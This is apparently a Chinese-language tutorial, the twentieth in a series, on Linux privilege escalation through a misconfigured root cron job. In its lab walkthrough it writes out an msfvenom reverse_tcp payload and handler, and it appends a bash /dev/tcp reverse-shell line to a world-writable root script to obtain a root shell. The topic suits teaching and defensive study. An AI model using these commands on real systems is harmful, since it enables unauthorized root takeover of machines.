操作系统权限提升(二十)之Linux提权-计划任务提权

news2025/1/11 23:53:47

系列文章

操作系统权限提升(十八)之Linux提权-内核提权
操作系统权限提升(十九)之Linux提权-SUID提权

计划任务提权

计划任务提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

在这里插入图片描述

计划任务的格式

分 时 日 月 周 用户 命令

在这里插入图片描述

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下

find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限

在这里插入图片描述

提权准备

先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

#!/bin/bash
function bash_os() {
	# "系统基础信息"
	#内核信息
	kernel=$(uname -r)
	#主机名称
	hostname=$HOSTNAME
	#当前时间及运行时间
	dateload=$(uptime | awk -F "," '{print $1}')
	# 当前登录用户数
	users=$(uptime | awk -F "," '{print $2}')
	echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
	echo -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
	echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>/tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >>/tmp/bash_os.txt
	echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >>/tmp/bash_os.txt
}
bash_os

在这里插入图片描述

该脚本运行后的内容将会写到 /tmp/bash_os.txt文件中

在这里插入图片描述

将文件的权限设置成777 chmod 777 bash_os.sh

在这里插入图片描述

将文件设置成计划任务,输入 vim /etc/crontab 进行编辑,编辑内容如下到crontab文件中

分 时 日 月 周 用户 命令
*/1 * * * * root /home/daoer/Desktop/bash_os.sh

在这里插入图片描述

service croud status 查看计划任务启动
service croud restart 重启计划任务

提权实战

我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run

在这里插入图片描述

查询计划任务,发现存在一个sh文件并且是root运行的

cat /etc/crontab

在这里插入图片描述

接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

ls -l bash_os.sh

在这里插入图片描述

输入反弹shell的命令,在sh文件中进行追加

echo "bash -i >& /dev/tcp/192.168.0.105/9876 0>&1" >> /bash_os.sh

在这里插入图片描述

使用NC接收等待反弹shell的连接,得到root权限

nc -lvvp 9876

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/379805.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

docker启动容器服务之后访问失败

关于docker启动容器服务之后,宿主机访问失败(解决方法) 注:在进行docker容器启动宿主机进行容器访问时,无需进行网络的配置,docker容器在启动时会自动解决 第一种原因及修改方法 在进行启动的时候&#…

JVM虚拟机概述(1)

1.JVM概述 1.1为什么要学习JVM 通过学习JVM ( java Virtual Machine )可以帮助我们理解java程序运行的过程,了解虚拟机中各种机制的实现原理。为后期写出优质的代码做好准备,为向更高的层次提升打好基础。 1.2虚拟机 虚拟机的本质就是在windows中&…

深入浅出的学习傅里叶变换

学习傅里叶变换需要面对大量的数学公式,数学功底较差的同学听到傅里叶变换就头疼。事实上,许多数学功底好的数字信号处理专业的同学也不一定理解傅里叶变换的真实含义,不能做到学以致用! 事实上,傅里叶变换的相关运算…

敏捷-期末

什么是敏捷开发? 敏捷开发(Agile Development)是一种以人为核心、迭代、循序渐进的开发方法。 怎么理解呢?它不是一门技术,它是一种开发方法,也就是一种软件开发的流程,它会指导我们用规定的环节去一步一步完成项目的开…

阿里云服务器ECS的功能特性有哪些?

本文介绍云服务器ECS的功能特性,帮助您更好地了解和使用云服务器ECS。 1、实例 实例是云上的虚拟计算服务器,内含vCPU、内存、操作系统、网络、磁盘等基础组件。您可以使用阿里云提供的控制台、API等管理工具创建和管理ECS实例,像使用本地服…

常用的 JVM 参数(第三章)

《实战Java虚拟机:JVM故障诊断与性能优化 (第2版)》 第三章 常用的 JVM 参数 3.1. 掌握跟踪调试参数 - 一切运行都有迹可循 参数类型参数作用备注GC 参数-JVM 提供了一些跟踪系统状态的参数,使用给定的参数执行 JVM,就可以在系统运行时打印…

基于ssm框架实现家庭理财收支系统(源码+数据库+文档)

一、项目简介 本项目是一套基于ssm框架实现家庭理财收支系统,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Java学习者。 包含:项目源码、数据库脚本等,该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c…

【谷粒学院】微信扫码登录(199~206)

199.OAuth2介绍 OAuth2是什么? OAuth2是针对特定问题的一种解决方案 主要可以解决两个问题:开放系统间授权、分布式访问问题 一、OAuth2解决什么问题 1、OAuth2提出的背景 照片拥有者想要在云冲印服务上打印照片,云冲印服务需要访问云存储服…

_Linux (HTTP协议)

文章目录1. 认识URL2. urlencode和urldecode3. HTTP协议格式3-1. HTTP请求3-1. HTTP响应4. HTTP的方法5. HTTP的状态码6. TTP常见Header7. 最简单的HTTP服务器虽然我们说, 应用层协议是我们程序猿自己定的但实际上, 已经有大佬们定义了一些现成的, 又非常好用的应用层协议, 供我…

Java基础:JDK7-时间Date

JDK7以前时间相关类 1.Date Date date new Date(); , sout(date)得到的是现在所处位置的时间 Date date new Date(0L); , sout(date)得到的是时间原点也就是1970年1月1日08:00(东八区). date.setTime(1000L); sout(date)得到的是时间原点后一秒钟的时间 long time date.g…

【matplotlib】可视化解决方案——如何设置matplotlib风格集

概述 一般情况下,为了获得数据可视化展示效果,在代码实现的尾部会调用 plt.show(),这种情况下会调用默认的绘图风格,即白色底色,字体和线条呈现黑色。在某些情况下会显得很不协调。如果想要将展示效果以一个固定的风格…

华为OD机试用Python实现 -【称砝码】(2023-2-26华为OD机试人员抽到的真题)

华为OD机试题 华为 OD 机试 300 题大纲称砝码题目输入输出示例一输入输出说明:Python 代码展示编码思路华为 OD 机试 300 题大纲 参加华为 od 机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 OD 清单查看地址:blog.csdn.net/hihell/categor…

【JavaSE】集合(Map)

文章目录1.Map接口1.1常用方法1.2 遍历2.HashMap2.1Hash表数据结构2.2 Map.put实现原理2.3 Map.get实现原理2.4扩容2.5 同时重写hashCode和equals2.6 JAVA8对HashMap改进3.Hashtable4.Properties5.TreeMap5.1 概述5.2 自定义类实现Comparable6.集合工具类Collections1.Map接口 …

Linux | 1. 挂载新硬盘与磁盘管理

如有错误,恳请指出。 1. Ubuntu挂载新硬盘 查看磁盘状态:sudo fdisk -l 1)为新硬盘分区 使用 fdisk 指令对 /dev/sdb 进行分区操作:sudo fdisk /dev/sdb。进入分区工具后,我们可以输入 m 看指令说明,注意…

(四十八)大白话线上数据库不确定性的性能抖动优化实践(上)

之前我们花费了很大篇幅来给大家深入和细致的讲解数据库在执行增删改这类更新语句时候的底层原理,这里涉及到了很多数据库内核级的概念,比如buffer pool、redo log buffer、lru/flush链表,等等,大家对数据库执行更新语句的原理都有…

黑客入门破解网络密码常用的九个方法!

个人网络密码安全是整个网络安全的一个重要环节,如果个人密码遭到黑客破解,将引起非常严重的后果。比如,银行卡账户密码被盗,你就给别人打工了。所以,增强网民的网络安全意识是网络普及进程的一个重要环节。 常言道&am…

ThreadPoolExecutor执行流程和拒绝策略

【面试常考】 之前我们讲到的多线程案例里面的Executors 本质上是 ThreadPoolExecutor 类的封装. ThreadPoolExecutor 提供了更多的可选参数, 可以进一步细化线程池行为的设定. 什么是ThreadPoolExcutor类? 首先通过文档我们看看ThreadPoolExcutor提供给我们的构造…

超详细彻底卸载Anaconda详细教程

一、在开始出打开Anaconda Prompt 二、打开后,输入conda install tqdm -f命令并按回车键 conda install tqdm -f三、之后页面会出现一个WANNING,这个我们不用在意,之后会出现一个y/n提示框,在这里我们输入y或者Y y四、输入con…

小程序容器与微服务架构的关系

随着移动互联网的发展,小程序已经成为了一种非常流行的应用方式,它可以在不安装任何应用的情况下,直接在移动终端设备(如:App,iPad等)中运行。微服务架构则是一种的分布式系统架构,可…

SpringBoot整合MybatisPlus多数据源

相信在很多使用MybatisPlus框架的小伙伴都会遇到多数据源的配置问题,并且官网也给出了推荐使用多数据源 (dynamic-datasource-spring-boot-starter) 组件来实现。由于最近项目也在使用这个组件来实现多数据源切换,因此想了解一下该组件是如何运行的&…